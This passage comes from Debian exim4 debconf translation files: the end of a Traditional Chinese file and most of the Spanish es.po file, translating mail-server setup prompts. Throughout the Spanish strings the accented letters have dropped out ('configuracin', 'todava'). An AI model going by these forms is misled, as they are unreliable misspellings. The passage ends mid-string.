"外寄郵件的表頭可以進行改寫。如果選取了這個選項,在 From, Reply-To, Sender 及 " "Return-Path 中的 ${mailname}、localhost 及 ${dc_other_hostnames} 會被改寫,讓" "它看起來像是由另一個不同的系統所產生的。" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "存放在 /var/mail 裡的 mbox 格式" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "存放在個人主目錄裡的 Maildir 格式" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "本機郵件的傳送方式:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim 可以將傳送到本機的郵件以不同的格式儲存。其中最常見的格式是 mbox 及 " "Maildir。mbox 是一個包含了完整的郵件資料夾、存放於 /var/mail/ 的單一檔案。而 " "Maildir 則是將各個信件一一存放在 ~/Maildir/ 的各別檔案中。" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "請注意到,大多數 Debian 裡的郵件工具程式在預設上都假設了本機郵件是以 mbox 做" "為傳送方式。" #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "是否將尚未遞送之信件由 exim3 搬移至 exim4 的 spool 裡?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "在 exim 3(或 exim-tls 3)的 spool 目錄 /var/spool/exim/input/ 中還有一些" #~ "尚未遞送之信件。" #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "選取這個選項將會把這些信件搬到 exim4 的 spool (/var/spool/exim4/input/) " #~ "裡,如此一來它們便轉由 exim4 來管理了。" #~ msgid "" #~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "這個過程是不可逆的:Exim4 可以管理 exim 3 的 spool,但反之則不行。如果你拒" #~ "绝这个选项,你将需要自行移動這些信件,否則,这些邮件将不会被送达。" #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "若在此欄留白將會使得 Exim 不會接收本機的郵件。" debian/po/es.po0000644000000000000000000011216412027557533010571 0ustar # exim4 debconf translation to spanish # Copyright (C) 2004-2007 Software in the Public Interest # This file is distributed under the same license as the exim4 package. # # Changes: # - Initial translation # Fco. Javier Sanchez Castelo , 2004 # - Revision: # Javier Fernandez-Sanguino , 2004 # Fernando J. Rodriguez (Herr Groucho) , 2004 # - Updates: # Javier Fernandez-Sanguino , 2006-2007 # # Traductores, si no conoce el formato PO, merece la pena leer la # documentacion de gettext, especialmente las secciones dedicadas a este # formato, por ejemplo ejecutando: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Equipo de traduccion al espanol, por favor lean antes de traducir # los siguientes documentos: # # - El proyecto de traduccion de Debian al espanol # http://www.debian.org/intl/spanish/coordinacion # especialmente las notas de traduccion en # http://www.debian.org/intl/spanish/notas # # - La guia de traduccion de po's de debconf: # /usr/share/doc/po-debconf/README-trans # o http://www.debian.org/intl/l10n/po-debconf/README-trans # # Notas: # - FQDN: Nombre completo del equipo (NO: nombre totalmente cualificado) # Ver: Message-ID: <20060830223128.GO26167@javifsp.no-ip.org> # # - smarthost: no se traduce # msgid "" msgstr "" "Project-Id-Version: exim4 4.34-1\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-14 12:35+0200\n" "Last-Translator: Javier Fernandez-Sanguino \n" "Language-Team: Debian Spanish \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=ISO-8859-15\n" "Content-Transfer-Encoding: 8bit\n" "X-POFile-SpellExtra: From dcotherhostnames fetchmail site FQDN blah mbox\n" "X-POFile-SpellExtra: README conf Reply smarthost Return Maildir exim TCP\n" "X-POFile-SpellExtra: usr template var mail config localhost postmaster\n" "X-POFile-SpellExtra: Sender share SMTP Exim spool IPv DNS Path org dpkg\n" "X-POFile-SpellExtra: acc To doc fqdn mailname root MX\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "" "Eliminar los mensajes no entregados del directorio de la cola de correo?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Hay mensajes en el directorio de la cola de correo de exim /var/spool/exim4/" "input/ que no se han entregado todava. Si desinstala Exim estos no podrn " "enviarse hasta que lo reinstale." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Se mantendr el directorio de colas si no elige esta opcin, lo que " "permitir gestionar los mensajes encolados ms adelante despus de " "reinstalar Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reconfigure exim4-config en lugar de este paquete" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Se ha movido la configuracin de exim4 a un paquete dedicado: exim4-" "config. Si quiere reconfigurar Exim4 debera ejecutar dpkg-reconfigure " "exim4-config." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "Internet site; el correo se enva y recibe directamente usando SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "el correo se enva mediante un smarthost; se recibe a travs de SMTP o " "fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "el correo se enva mediante un smarthost; sin correo local" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "solamente entrega local; sin red" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "sin configuracin de momento" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Tipo de configuracin general del correo:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Seleccione el tipo de configuracin de servidor de correo que se ajuste " "mejor a sus necesidades." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Los sistemas con direcciones IP dinmicas, incluyendo los que utilicen " "acceso telefnico, deberan configurarse por regla general para enviar el " "correo a otro servidor llamado smarthost para que realice el reparto. Esto " "es necesario porque muchos sistemas receptores de correo en Internet " "bloquean el correo entrante que provenga de direcciones IP dinmicas como " "medida de proteccin contra el correo basura." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Un sistema que utilice una direccin IP dinmica puede recibir su propio " "correo, o puede deshabilitarse el envo local por completo (salvo para el " "correo para root y postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Realmente quiere dejar el sistema de correo sin configurar?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Su sistema de correo estar inutilizado y no podr utilizarse hasta que lo " "configure. Puede configurarlo ms tarde, ya sea manualmente o ejecutando " "dpkg-reconfigure exim4-config como administrador." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nombre del sistema de correo:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "El nombre de correo local es el nombre del dominio utilizado para " "cualificar las direcciones de correo que no tienen un nombre de dominio." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Este nombre se usar por otros programas. Debera ser el nombre completo del " "equipo (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Por ejemplo, si la direccin de correo en el sistema local es blah@ejemplo." "org, el valor correcto para esta opcin es ejemplo.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Este nombre no aparecer en la lnea From: de los correos salientes si " "est activa la reescritura." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Otros destinos para los que se acepta el correo:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Introduzca la lista de dominios de destinatarios para los que esta mquina " "debera considerarse a s misma como destino final. Separe los dominios de " "la lista con punto y coma. Estos dominios se llaman habitualmente dominios " "locales. Siempre se aade el nombre del equipo (${fqdn}) y localhost a la " "lista dada aqu." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Por omisin todos los dominios se tratarn igual. Si tanto a.ejemplo como " "b.ejemplo son dominios locales se enviar al mismo destinatario correos a " "acc@a.ejemplo y acc@b.ejemplo. Si quiere diferenciar entre distintos " "nombres de dominio necesitar editar los archivos de configuracin " "posteriormente." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Dominios para los que se reenva correo:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Introduzca la lista de dominios destino para los que el sistema encaminar " "correo, actuando, por ejemplo, como pasarela de correo o respaldo MX. Separe " "los elementos de la lista por punto y coma. Esto significa que el sistema " "aceptar correo para este dominios desde cualquier destino en Internet y los " "gestionar de acuerdo a las reglas locales de entrega." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "No mencione los dominios locales aqu. Puede utilizar comodines." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Mquinas para las cuales reenviar correo:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Introduzca una lista de rangos de direcciones IP para los que el sistema " "encaminar correo de forma incondicional, actuando para ellos como un " "smarthost. Separe las direcciones con punto y coma." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Use el formato estndar direccin/longitud (por ejemplo 194.222.242.0/24 o " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Deje este valor en blanco si el sistema no debe comportarse como un " "smarthost para ningn otro sistema." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nombre de dominio visible para usuarios locales:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Se ha activado la opcin para ocultar el nombre de correo local en el correo " "saliente. Es necesario que especifique el nombre de dominio que el sistema " "debera utilizar para la parte de dominio de las direcciones de correo " "origen utilizadas para los usuarios locales." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Direccin IP o nombre de equipo para el smarthost saliente:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Introduzca la direccin IP o el nombre de equipo del servidor de correo que " "debera utilizarse como servidor saliente (smarthost). Si el servidor slo " "acepta su correo en un puerto distinto al puerto TCP/25 deber incluir el " "nmero de puerto separndolo con dos signos de dos puntos (por ejemplo, " "smarthost.ejemplo::587 192.168.254.254::2525). Los dos puntos en " "direcciones IPv6 debern escribirse dos veces." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Si el smarthost requiere que el sistema se autentique deber consultar " "cmo definir la configuracin de la autenticacin SMTP en los archivos " "README especficos de Debian en /usr/share/doc/exim4-base/." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Destinatario del correo de root y postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Debe redirigir los correos a postmaster, root y otras cuentas del " "sistema a una cuenta del usuario que corresponda a la del administrador del " "sistema real." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Todo el correo de este tipo se almacenar en /var/mail/mail si deja vaco " "este valor, lo que no est recomendado." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Tenga en cuenta que los mensajes dirigidos al administrador de correo " "(postmaster) normalmente deberan leerse en el sistema al que va dirigido, " "en lugar de enviarse a otra parte. As (al menos uno de) los usuarios que " "escoja no deberan reenviar su correo fuera de sta mquina. Puede utilizar " "el prefijo real- para obligar a utilizar la entrega local." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Si introduce ms de un nombre de usuario debe separarlos con espacios." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Direcciones IP en las que recibir conexiones SMTP entrantes:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Introduzca una lista de direcciones IP separadas por punto y coma. El " "demonio que acepta las conexiones entrantes SMTP de Exim escuchar en todas " "las direcciones IP aqu listadas." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Si deja este valor en blanco, Exim podr recibir conexiones desde cualquier " "interfaz de red disponible." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Es recomendable prohibir conexiones externas a Exim si este equipo slo " "recibe correo directamente de servicios locales (y no de otros equipos). " "Estos servicios incluyendo los programas cliente de correo (MUA) que slo " "envan correo a localhost as como fetchmail. No podrn realizarse " "conexiones de forma externa si introduce aqu el valor '127.0.0.1', de esta " "forma desactivar la escucha en las interfaces conectadas a redes pblicas." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Limitar el nmero de consultas de DNS (marcacin bajo demanda)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "En el modo normal de operacin, Exim hace consultas de DNS al iniciar y " "cuando recibe o entrega mensajes. Estas consultas se hacen para poder " "mantener registros y para mantener pequeo el nmero de valores fijos " "grabados en el archivo de configuracin." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Si este sistema no tiene acceso permanente a servidores de nombres DNS (es " "el caso cuando se usa marcacin bajo demanda o una lnea de acceso " "telefnico) esto podra tener consecuencia no deseadas. Por ejemplo, se " "podra llegar a intentar realizar una evento de conexin (que genere una " "llamada costosa) al iniciar exim o procesar la cola del correo (incluso " "aunque no haya mensajes en espera)." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Debera seleccionar esta opcin si su sistema utiliza marcacin bajo " "demanda. No la habilite si su sistema est permanentemente conectado a " "Internet." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configuracin del servidor de correo:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Dividir la configuracin en pequeos ficheros?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Los paquetes Debian de exim4 pueden usar una configuracin concentrada, es " "decir, un nico fichero monoltico (/etc/exim4.conf.template), o bien una " "configuracin segmentada donde la configuracin de Exim se construye " "utilizando cerca de 50 ficheros pequeos en /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "La configuracin concentrada se adapta mejor a grandes modificaciones y es " "generalmente ms estable, mientras que la configuracin segmentada ofrece " "una manera cmoda de hacer pequeas modificaciones pero es ms frgil y " "podra romperse si se modifica sin las debidas precauciones." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Encontrar una discusin pormenorizada sobre la configuracin segmentada y " "concentrada en los ficheros especficos de Debian en /usr/share/doc/exim4-" "base/." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Desea ocultar el nombre de correo local en los mensajes salientes?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Las cabeceras de los mensajes salientes pueden reescribirse para que parezca " "que se han generado en un sistema distinto. Si elige esta opcin se " "reescibirn ${mailname}, localhost y ${dc_other_hostnames} en el " "From, Reply-To, Sender y Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "formato mbox en /var/mail" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "formato Maildir en el directorio personal" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Mecanismo de entrega para el correo local:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim puede almacenar el correo entregado localmente en distintos formatos. " "Los formatos ms comunes son mbox y Maildir. El formato mbox utiliza un " "nico fichero para todo el buzn de correo que se almacenan en /var/mail. " "Con el formato Maildir cada uno de los mensajes se almacena en un fichero " "distinto en ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Tenga en cuenta que la mayora de las herramientas de correo en Debian " "esperan que el mecanismo de entrega local sea a ficheros mbox en su " "configuracin por omisin." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Mover el correo an no entregado de exim 3 a la cola de correo de exim4?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Hay algunos mensajes de correo no entregados de exim 3 (o de exim-tls 3) " #~ "en en el directorio de la cola de correo: /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Si elige esta opcin se movern ahora a la cola de exim4 (/var/spool/" #~ "exim4/input/) donde sern gestionados por exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Esto funciona solamente en un sentido, es decir, Exim4 puede gestionar la " #~ "cola de Exim 3 pero no al contrario. Si rechaza esta opcin, deber mover " #~ "los mensajes manualmente o nunca se enviarn." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Si deja esta lista en blanco entonces Exim no har entrega local." #~ msgid "" #~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-" #~ "versa." #~ msgstr "" #~ "Tenga presente que esto funciona solamente en un sentido, es decir, exim4 " #~ "puede gestionar la cola de exim(v3) pero no al contrario. " #~ msgid "" #~ "So it is only advisable to move the messages only if it is not planned to " #~ "go back to Exim(v3). If a rollback might be necessary, it is a better " #~ "idea to refrain from moving the messages now but moving them manually at " #~ "a later time." #~ msgstr "" #~ "Slo es recomendable mover los mensajes si no piensa volver a utilizar " #~ "Exim(v3). Si puede necesitar hacer una marcha atrs ser mejor que no " #~ "mueva los mensajes de momento y lo haga manualmente ms adelante." #~ msgid "" #~ "Domains listed here need to be separated by semicolons. Wildcards may be " #~ "used." #~ msgstr "" #~ "Separe los dominios introducidos aqu con dos puntos. Puede usar " #~ "comodines." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Mueva los mensajes de correo solamente si no tiene pensado volver a usar " #~ "exim(v3). Si esto no es as, no debera mover el correo ahora, sino " #~ "manualmente una vez que haya adaptado su configuracin." #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Si hay algunos ms, introdzcalos aqu, separados por dos puntos. Puede " #~ "dejarlo en blanco si no hay ninguno." #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Por favor introduzca aqu los dominios a los que permite que reenven " #~ "correo, por ejemplo como pasarela de correo o respaldo MX." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Estos dominios son aquellos para los que usted est dispuesto a admitir " #~ "correo desde cualquier parte de Internet. No indique aqu dominios " #~ "locales." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Dado que ha activo la ocultacin del nombre de correo local en el correo " #~ "saliente, debe especificar el nombre de dominio a usar para el correo de " #~ "los usuarios locales. Habitualmente es el nombre de la mquina en la que " #~ "normalmente recibe su correo." #~ msgid "Where will your users read their mail?" #~ msgstr "Dnde leern el correo sus usuarios?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "" #~ "Mquina que gestiona el correo saliente en este servidor (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Introduzca el nombre del servidor al que se enva el correo saliente." #~ msgid "" #~ "Mail for the \"postmaster\", \"root\", and other system accounts is " #~ "usually redirected to the user account of the actual system " #~ "administrator. If you leave this value empty, such mail will be saved in /" #~ "var/mail/mail, which is not recommended. Note that postmaster's mail " #~ "should be read on the system to which it is directed, rather than being " #~ "forwarded elsewhere, so (at least one of) the users you choose should not " #~ "redirect their mail off this machine. Use a \"real-\" prefix to force " #~ "local delivery." #~ msgstr "" #~ "El correo para las cuentas del sistema postmaster, root, y algunas " #~ "otras habitualmente se reenva a la cuenta de usuario del administrador " #~ "real del sistema. Si deja este valor vaco, este correo se almacenar en " #~ "/var/mail/mail, lo cual no es recomendable. Tenga en cuenta que el " #~ "correo a postmaster debera leerse en el sistema al que se dirige, en " #~ "lugar de reenviarse a otro lugar, de forma que (al menos uno de) estos " #~ "usuarios no deberan redirigirse fuera de este equipo. Utilice el prefijo " #~ "real- para forzar el envo local." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Active esta funcin si esta usando marcacin bajo demanda; en caso " #~ "contrario, desactvela." #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "" #~ "Seleccione la configuracin de servidor de correo que se ajuste mejor a " #~ "sus necesidades." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "" #~ "Si no est seguro no debera usar la configuracin dividida en pequeos " #~ "ficheros." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "" #~ "convierte manualmente a partir de la configuracin manual de exim v3" #~ msgid "Configure Exim4 manually?" #~ msgstr "Configurar Exim4 manualmente?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Usted indic que tiene una configuracin manual de Exim 3. Para " #~ "convertirla a Exim4, puede usar la herramienta exim_convert4r4(8) despus " #~ "de la instalacin. Consulte /usr/share/doc/exim4-base/examples/example." #~ "conf.gz y /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Hasta que su sistema de correo no est configurado, estar inutilizado y " #~ "no podr usarse." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Su mail name es el nombre de dominio en la direccin de correo que se " #~ "mostrar en los mensajes de noticias y de correo salientes (la que sigue " #~ "al nombre de usuario tras el signo @), a no ser que est oculta mediante " #~ "reescritura." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Por favor introduzca aqu las redes de mquinas locales que permite que " #~ "reenven correo." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Esto debera incluir la lista de todas las mquinas que utilizarn este " #~ "sistema como smarthost." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Debe 